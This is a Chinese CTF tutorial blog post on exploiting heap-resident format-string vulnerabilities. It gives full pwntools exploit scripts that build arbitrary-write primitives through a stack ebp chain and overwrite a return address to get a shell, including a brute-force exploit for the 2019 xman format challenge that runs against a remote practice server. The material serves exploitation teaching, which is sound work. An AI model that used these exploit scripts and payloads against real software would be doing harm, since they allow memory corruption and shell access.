非栈上格式化字符串通用解法

Chiu Lv4

考虑构造任意地址写原语。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。

我们发现只要栈上存在一个有 2 跳的 ebp链就可以构造栈上相对地址写原语

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

gdb.attach(p, "b *$rebase(0x123e)\nc")
pause()

p.sendafter("please input:\n", "%p%5$p%7$p%9$p")

elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))
stack_addr = int(p.recv(14), 16) - 0xf8
info("stack addr: " + hex(stack_addr))

one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][2]
exit_hook = ld_base + 0x2ef70
info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))


def arbitrary_offset_write(offset, value):
info("arbitrary_offset_write({}, {})".format(hex(offset), hex(value)))
assert 0 <= (stack_addr & 0xFFFF) + offset < 0x10000 and value < 0x10000
if (stack_addr + offset) & 0xFFFF == 0:
p.sendafter("please input:\n", "%24$hn")
else:
p.sendafter("please input:\n", "%{}c%24$hn".format((stack_addr + offset) & 0xFFFF))
if value == 0:
p.sendafter("please input:\n", "%37$hn")
else:
p.sendafter("please input:\n", "%{}c%37$hn".format(value))


arbitrary_offset_write(8 + 0, one_gadget >> 16 * 0 & 0xFFFF)
arbitrary_offset_write(8 + 2, one_gadget >> 16 * 1 & 0xFFFF)
p.sendafter("please input:\n", "exit\x00")

p.interactive()

由于我们有了栈上相对地址写原语,因此可以进一步构造任意地址写原语

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "%p%5$p%7$p%9$p")

elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))
ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))
libc.address = int(p.recv(14), 16) - 0x24083
info("libc base: " + hex(libc.address))
stack_addr = int(p.recv(14), 16) - 0xf8
info("stack addr: " + hex(stack_addr))

one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][2]
exit_hook = ld_base + 0x2ef70
info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))


def arbitrary_offset_write(offset, value):
info("arbitrary_offset_write({}, {})".format(hex(offset), hex(value)))
assert 0 <= (stack_addr & 0xFFFF) + offset < 0x10000 and value < 0x10000
if (stack_addr + offset) & 0xFFFF == 0:
p.sendafter("please input:\n", "%24$hn")
else:
p.sendafter("please input:\n", "%{}c%24$hn".format((stack_addr + offset) & 0xFFFF))
if value == 0:
p.sendafter("please input:\n", "%37$hn")
else:
p.sendafter("please input:\n", "%{}c%37$hn".format(value))


def arbitrary_address_write(address, value):
assert address < 0x10000000000000000 and value < 0x10000
arbitrary_offset_write(0x50, address >> 0 * 16 & 0xFFFF)
arbitrary_offset_write(0x52, address >> 1 * 16 & 0xFFFF)
arbitrary_offset_write(0x54, address >> 2 * 16 & 0xFFFF)
arbitrary_offset_write(0x56, address >> 3 * 16 & 0xFFFF)
gdb.attach(p, "b *$rebase(0x123e)\nc")
pause()
if value == 0:
p.sendafter("please input:\n", "%16$hn")
else:
p.sendafter("please input:\n", "%{}c%16$hn".format(value))


arbitrary_address_write(0xdeadbeef, 0x1234)

p.interactive()

例题:2019 xman format

附件下载链接]https://gitcode.net/qq_45323960/buuoj/-/tree/master/xman_2019_format

同样是格式化字符串。

1
2
3
4
5
6
7
8
9
void __cdecl sub_8048651()
{
char *buf; // [esp+Ch] [ebp-Ch]

puts("...");
buf = (char *)malloc(0x100u);
read(0, buf, 0x37u);
call_vuln(buf);
}

但与上一题不同的是这次的格式化字符串是离线操作,不能泄露地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __cdecl vuln(char *buf)
{
char *v1; // eax
const char *format; // [esp+Ch] [ebp-Ch]

puts("...");
v1 = strtok(buf, "|");
printf(v1);
while ( 1 )
{
format = strtok(0, "|");
if ( !format )
break;
printf(format);
}
}

另外还有一个后门函数。

1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

由于不能泄露地址,因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor 函数地址来 get shell 。

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

start = lambda: remote("node4.buuoj.cn", 25559) # process([elf.path])

while True:
global p
try:
p = start()
# gdb.attach(p, "b *0x080485F6\nb *0x8048606")
# pause()
payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
p.sendlineafter('...', payload)
sleep(1)
p.sendline('cat flag')
p.recvline_contains('flag', timeout=1)
p.interactive()
except KeyboardInterrupt:
p.close()
exit(0)
except:
p.close()
  • Title: 非栈上格式化字符串通用解法
  • Author: Chiu
  • Created at : 2024-07-31 13:48:41
  • Updated at : 2024-07-31 13:51:24
  • Link: https://github.com/Idealist17/github.io/2024/07/31/非栈上格式化字符串通用解法/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
非栈上格式化字符串通用解法